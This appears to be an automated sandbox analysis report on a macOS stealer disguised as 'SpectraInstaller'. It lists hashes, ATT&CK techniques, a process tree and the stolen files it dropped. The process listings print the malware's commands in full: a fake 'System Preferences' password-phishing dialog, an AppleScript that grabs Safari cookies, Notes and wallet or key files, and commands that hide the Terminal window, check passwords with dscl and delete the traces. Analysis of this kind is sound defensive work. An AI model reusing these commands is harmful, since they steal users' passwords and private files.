99f7272ef3eef6ecc90417ca5b7e3561cf954d4647c077439e357263826d09e8

General

Target
SpectraInstaller/SpectraInstaller
Size 431KB
Sample240603-tdf2sabe7y
SHA256 8f49b592fdeaeb49da7b285c74ba561531a832209d4b2aa7d12ef987f88b6a08
MD5 e2b0117383367bd6a24dd49ecd5083e3
SHA1 7594de880ae577e742a41bc75ea1faed7342b4a5
SHA512 979c0cfe32dd8c7ffda546a1017ca2dabb32d47aa8f565ace7f27e5c59a6ea64bac60c52d03353b61a6ccd5e70235cc7604f79f1ff7c782e843f737ee83d6a80
SSDEEP 12288:C0IjytsGOvSOFiZIT3T27QEMFehT1R+U4lHNxY9z0C8EtJ:C1jytsxPFiZIT3MQEMFehT1R+U4lHNxc
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

Malware Config

Signatures

Queries the macOS version information. 1 TTPs 2 IoCs

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.

discovery

System Information Discovery

T1082

ioc	Process
sh -c sw_vers	Process not Found
sw_vers	Process not Found

System Checks 1 TTPs 2 IoCs

Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.

evasion

System Checks

T1497.001

ioc	Process
sh -c "system_profiler SPHardwareDataType"	Process not Found
system_profiler SPHardwareDataType	Process not Found

File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer) may leave traces to indicate to what was done within a network and how. Removal of these files can occur.
evasion

File Deletion
T1070.004

AppleScript 1 TTPs 14 IoCs

AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.

execution

AppleScript

T1059.002

ioc	Process
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
osascript -e "set baseFolderPath to (path to home folder as text) & \"946418577\"" -e "set fileGrabberFolderPath to (path to home folder as text) & \"946418577:FileGrabber:\"" -e "tell application \"Finder\"" -e "set username to short user name of (system info)" -e try -e "if not (exists folder fileGrabberFolderPath) then" -e "make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}" -e "end if" -e "set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")" -e try -e "duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing" -e "end try" -e "set homePath to path to home folder as string" -e "set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"" -e try -e "duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "end try" -e "set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}" -e "set desktopFiles to every file of desktop" -e "set documentsFiles to every file of folder \"Documents\" of (path to home folder)" -e "repeat with aFile in (desktopFiles & documentsFiles)" -e "set fileExtension to name extension of aFile" -e "if fileExtension is in extensionsList then" -e "set fileSize to size of aFile" -e "if fileSize ≤ 51200 then" -e "duplicate aFile to folder fileGrabberFolderPath with replacing" -e "end if" -e "end if" -e "end repeat" -e "end try" -e "end tell"	Process not Found
osascript -e "display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop"	Process not Found
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"	Process not Found
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found
sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"946418577\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"946418577:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'"	Process not Found
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"	Process not Found
osascript -e "tell application \"Terminal\" to set visible of front window to false"	Process not Found
osascript -e "tell application \"Terminal\" to set visible of front window to false"	Process not Found
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"	Process not Found
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"	Process not Found
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"	Process not Found

Resource Forking 1 TTPs 2 IoCs

Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

evasion

Resource Forking

T1564.009

ioc	Process
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper	Process not Found
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper	Process not Found

/bin/sh
sh -c "sudo /bin/zsh -c \"/Users/run/SpectraInstaller/SpectraInstaller\""
1⤵
PID:487

/bin/bash
sh -c "sudo /bin/zsh -c \"/Users/run/SpectraInstaller/SpectraInstaller\""
1⤵
PID:487

/usr/bin/sudo
sudo /bin/zsh -c /Users/run/SpectraInstaller/SpectraInstaller
1⤵
PID:487
- /bin/zsh
  /bin/zsh -c /Users/run/SpectraInstaller/SpectraInstaller
  2⤵
  PID:488
- /Users/run/SpectraInstaller/SpectraInstaller
  /Users/run/SpectraInstaller/SpectraInstaller
  2⤵
  PID:488

/bin/sh
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:489

/bin/bash
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:489

/usr/bin/osascript
osascript -e "tell application \"Terminal\" to set visible of front window to false"
1⤵
PID:489

/usr/libexec/xpcproxy
xpcproxy com.apple.Terminal.1804
1⤵
PID:490

/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal
1⤵
PID:490
- /usr/bin/login
  login -pf run
  2⤵
  PID:509
- - /bin/zsh
    -zsh
    3⤵
    PID:511
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:512
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:513
  - - /usr/bin/open
      open SpectraInstaller
      4⤵
      PID:535
- /usr/bin/login
  login -pf run
  2⤵
  PID:539
- - /bin/zsh
    -zsh
    3⤵
    PID:540
  - - /usr/libexec/path_helper
      /usr/libexec/path_helper -s
      4⤵
      PID:541
  - - /usr/bin/locale
      locale LC_CTYPE
      4⤵
      PID:542
  - - /Users/run/SpectraInstaller/SpectraInstaller
      /Users/run/SpectraInstaller/SpectraInstaller
      4⤵
      PID:543

/bin/sh
sh -c "mkdir /Users/root/945561420"
1⤵
PID:527

/bin/bash
sh -c "mkdir /Users/root/945561420"
1⤵
PID:527

/bin/mkdir
mkdir /Users/root/945561420
1⤵
PID:527

/bin/sh
sh -c "dscl /Local/Default -authonly root \"\""
1⤵
PID:528

/bin/bash
sh -c "dscl /Local/Default -authonly root \"\""
1⤵
PID:528

/usr/bin/dscl
dscl /Local/Default -authonly root
1⤵
PID:528

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:529

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:529

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:529

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:536

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:536

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings You entered an invalid password.\\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:536

/usr/libexec/xpcproxy
xpcproxy com.apple.quicklook.ui.helper
1⤵
PID:537

/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
/System/Library/Frameworks/Quartz.framework/Frameworks/QuickLookUI.framework/Resources/QuickLookUIHelper.app/Contents/MacOS/QuickLookUIHelper
1⤵
PID:537

/usr/libexec/xpcproxy
xpcproxy com.apple.metadata.mdwrite
1⤵
PID:538

/bin/sh
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:544

/bin/bash
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:544

/usr/bin/osascript
osascript -e "tell application \"Terminal\" to set visible of front window to false"
1⤵
PID:544

/bin/sh
sh -c "mkdir /Users/run/946418577"
1⤵
PID:547

/bin/bash
sh -c "mkdir /Users/run/946418577"
1⤵
PID:547

/bin/mkdir
mkdir /Users/run/946418577
1⤵
PID:547

/bin/sh
sh -c sw_vers
1⤵
PID:548

/bin/bash
sh -c sw_vers
1⤵
PID:548

/usr/bin/sw_vers
sw_vers
1⤵
PID:548

/bin/sh
sh -c "system_profiler SPHardwareDataType"
1⤵
PID:549

/bin/bash
sh -c "system_profiler SPHardwareDataType"
1⤵
PID:549

/usr/sbin/system_profiler
system_profiler SPHardwareDataType
1⤵
PID:549

/bin/sh
sh -c "system_profiler SPDisplaysDataType"
1⤵
PID:551

/bin/bash
sh -c "system_profiler SPDisplaysDataType"
1⤵
PID:551

/usr/sbin/system_profiler
system_profiler SPDisplaysDataType
1⤵
PID:551

/bin/sh
sh -c "dscl /Local/Default -authonly run \"\""
1⤵
PID:553

/bin/bash
sh -c "dscl /Local/Default -authonly run \"\""
1⤵
PID:553

/usr/bin/dscl
dscl /Local/Default -authonly run
1⤵
PID:553

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:554

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:554

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:554

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:555

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:555

/bin/sh
sh -c "dscl /Local/Default -authonly run root"
1⤵
PID:556

/bin/bash
sh -c "dscl /Local/Default -authonly run root"
1⤵
PID:556

/usr/bin/dscl
dscl /Local/Default -authonly run root
1⤵
PID:556

/bin/sh
sh -c "mkdir -p '/Users/run/946418577/Chromium/Chrome'"
1⤵
PID:557

/bin/bash
sh -c "mkdir -p '/Users/run/946418577/Chromium/Chrome'"
1⤵
PID:557

/bin/mkdir
mkdir -p /Users/run/946418577/Chromium/Chrome
1⤵
PID:557

/bin/sh
sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"946418577\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"946418577:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'"
1⤵
PID:558

/bin/bash
sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"946418577\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"946418577:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'"
1⤵
PID:558

/usr/bin/osascript
osascript -e "set baseFolderPath to (path to home folder as text) & \"946418577\"" -e "set fileGrabberFolderPath to (path to home folder as text) & \"946418577:FileGrabber:\"" -e "tell application \"Finder\"" -e "set username to short user name of (system info)" -e try -e "if not (exists folder fileGrabberFolderPath) then" -e "make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}" -e "end if" -e "set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")" -e try -e "duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing" -e "end try" -e "set homePath to path to home folder as string" -e "set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"" -e try -e "duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "end try" -e "set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}" -e "set desktopFiles to every file of desktop" -e "set documentsFiles to every file of folder \"Documents\" of (path to home folder)" -e "repeat with aFile in (desktopFiles & documentsFiles)" -e "set fileExtension to name extension of aFile" -e "if fileExtension is in extensionsList then" -e "set fileSize to size of aFile" -e "if fileSize ≤ 51200 then" -e "duplicate aFile to folder fileGrabberFolderPath with replacing" -e "end if" -e "end if" -e "end repeat" -e "end try" -e "end tell"
1⤵
PID:558

/usr/libexec/xpcproxy
xpcproxy com.apple.DesktopServicesHelper.F34617CA-9E20-4315-A0EC-314AA10B258A
1⤵
PID:561

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
1⤵
PID:561

/bin/sh
sh -c "ditto -c -k --sequesterRsrc --keepParent /Users/run/946418577 /Users/run/946418577.zip --norsrc --noextattr"
1⤵
PID:562

/bin/bash
sh -c "ditto -c -k --sequesterRsrc --keepParent /Users/run/946418577 /Users/run/946418577.zip --norsrc --noextattr"
1⤵
PID:562

/usr/bin/ditto
ditto -c -k --sequesterRsrc --keepParent /Users/run/946418577 /Users/run/946418577.zip --norsrc --noextattr
1⤵
PID:562

/bin/sh
sh -c "rm -rf /Users/run/946418577"
1⤵
PID:563

/bin/bash
sh -c "rm -rf /Users/run/946418577"
1⤵
PID:563

/bin/rm
rm -rf /Users/run/946418577
1⤵
PID:563

/bin/sh
sh -c "rm /Users/run/946418577.zip"
1⤵
PID:564

/bin/bash
sh -c "rm /Users/run/946418577.zip"
1⤵
PID:564

/bin/rm
rm /Users/run/946418577.zip
1⤵
PID:564

/bin/sh
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"
1⤵
PID:565

/bin/bash
sh -c "osascript -e 'display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop'"
1⤵
PID:565

/usr/bin/osascript
osascript -e "display dialog \"Some error occurred while running the application.\" buttons {\"OK\"} default button 1 with icon stop"
1⤵
PID:565

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

AppleScript

1

T1059.002

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Resource Forking

1

T1564.009

Indicator Removal

1

T1070

File Deletion

1

T1070.004

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Credential Access

Discovery

System Information Discovery

1

T1082

Virtualization/Sandbox Evasion

1

T1497

System Checks

1

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Autofill0

Path /Users/run/./946418577/Chromium/Chrome/Autofill0
Size 90KB
SHA256 5b6dd3116e1d3ecbf6d07ecfc03f1537ab00ce91336cc7c6cddda6df0c9984d3
MD5 4e9060f76c1cb5b54005dc6640a58f0d
SHA1 04a1e6791ae55612d9b63f23ccb37eec398b3d27
SHA512 be921e02bb810fb867c1de3e3c2a9c3b04c84188d6a9eae60b73558bd4748c1451161da8fba2c8e74f225be4b8a6f0e98276fe1e397b0083fcbbd4ebdf32e148
SSDEEP 192:ZxiMZY9zIH9xh/EKCTjHbRo2snAVumNrp60nr:ri99za9xVb2snAVumNlfr
MD5 SHA1 SHA512 SSDEEP

Submit Download

Cookies2

Path /Users/run/./946418577/Chromium/Chrome/Cookies2
Size 20KB
SHA256 d52ad17cc5096119732f06311ef2e25005c2a00f551c9684e2d655cbc846455b
MD5 2a3fa78b5f55b529a2698ad187c80204
SHA1 cbbda35512038de511ac23b0aed12e9e86bcc796
SHA512 e9b113ec0c6a888e059cf625b0bfb128d11a55970fed12df30848c9f836c5f36b2660abb4e2a820e7dedd6f0ead312edec1c6cd645f14091d98b42f696bda9ab
SSDEEP 48:TOQXOpyO5JMxnvm8U1S+9Hqvf4U/TkN/bWHIQP6BGH08fxvf3kQK9xG+:COn5X/TkoP6/8fN3kQgg+
MD5 SHA1 SHA512 SSDEEP

Submit Download

Password1

Path /Users/run/./946418577/Chromium/Chrome/Password1
Size 40KB
SHA256 45bda2415419c24d2526ae60cae5ee1d66bc8d2cc986bb9e94c0f3c414af06c1
MD5 b6914d8e5cb470236eceed8d6f8b4fb7
SHA1 cdff8880e9fa7630fc8d57af4669365b5ab29b60
SHA512 1c491cfeb2b883ed20a43e16d7bf620520f4b770c8727ffb83e02554aa6aa54def4732460bcff82014050f7a1fba38e01f5570cacfbfcef6da6f2f795dc56ee7
SSDEEP 48:273zaBA+IIDeNCVEq8Ma0D0HOlcFlNUK6lGNxGt7KLk8s8LKvUf9KVyJ7hU:mzioCn8MouOFlulGNxGt7KLyeymw
MD5 SHA1 SHA512 SSDEEP

Submit Download

Sysinfo.txt

Path /Users/run/./946418577/Sysinfo.txt
Size 1KB
SHA256 6e50323737f1ebceb1d9f4e1fb36e5b02ff684de7711f54df08128e966f130da
MD5 31717a21202f4dbab34a72c86ae4f3f2
SHA1 78fab4a3136000513a8f66f2d81d19cb2473338d
SHA512 4c79b4b4705b897f2e43aec1ad622df2af929fc58a4e7c44d052b2e39c789bb266d4efc150e00896ac530aede6187c60dba572e78ada2b620f2f4e46f0c6cf5c
MD5 SHA1 SHA512

Submit Download

login-keychain

Path /Users/run/./946418577/login-keychain
Size 104KB
SHA256 55343602d16beca6a1802ccc0fe5c504ceb6818860725b7ae3f1b89de1f8f38b
MD5 a1b4c3b207ab557c3f5eff6067180e0f
SHA1 6ce3eff5bbfa75f89e7242ca64d3e65fb10cc87e
SHA512 01b9a2ef949f6ed738547bd47b1dba2ace6918f0464a2426c85e18f4c592ce240d6f40407694121a1f7ac8ef1b02594d094162a28886568c910ee5e648fe367e
SSDEEP 3072:bZo6c0Iyr8yVB46OZVhTLXS/iROPQrDQkbnoLEsnoXAKvkki1GtDPgijXmMdWgSl:bZj8X2
MD5 SHA1 SHA512 SSDEEP

Submit Download

password-entered

Path /Users/run/./946418577/password-entered
Size 4B
SHA256 4813494d137e1631bba301d5acab6e7bb7aa74ce1185d456565ef51d737677b2
MD5 63a9f0ea7bb98050796b649e85481845
SHA1 dc76e9f0c0006e8f919e0c515c66dbba3982f785
SHA512 99adc231b045331e514a516b4b7680f588e3823213abe901738bc3ad67b2f6fcb3c64efb93d18002588d3ccc1a49efbae1ce20cb43df36b38651f11fa75678e8
MD5 SHA1 SHA512

Submit Download

data.data

Path /var/root/Library/Saved Application State/com.apple.osascript.savedState/data.data
Size 1KB
SHA256 16c9e396895081b3882d4329e50daa027f8986ab74f682f696ddf82b1b3be426
MD5 550eada4d6dd5a4b4dbf420e81ed36c4
SHA1 be6aabdb4ba4feec87094caa4101eb4e8225df74
SHA512 1dd947a41d5155f0ce307848a48c7ef7c940daf35785c58181638b45b2027986b79dfd4c0fa5a16f60ba712e03af6705aac5440140161c69da06fd26cd2aa174
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads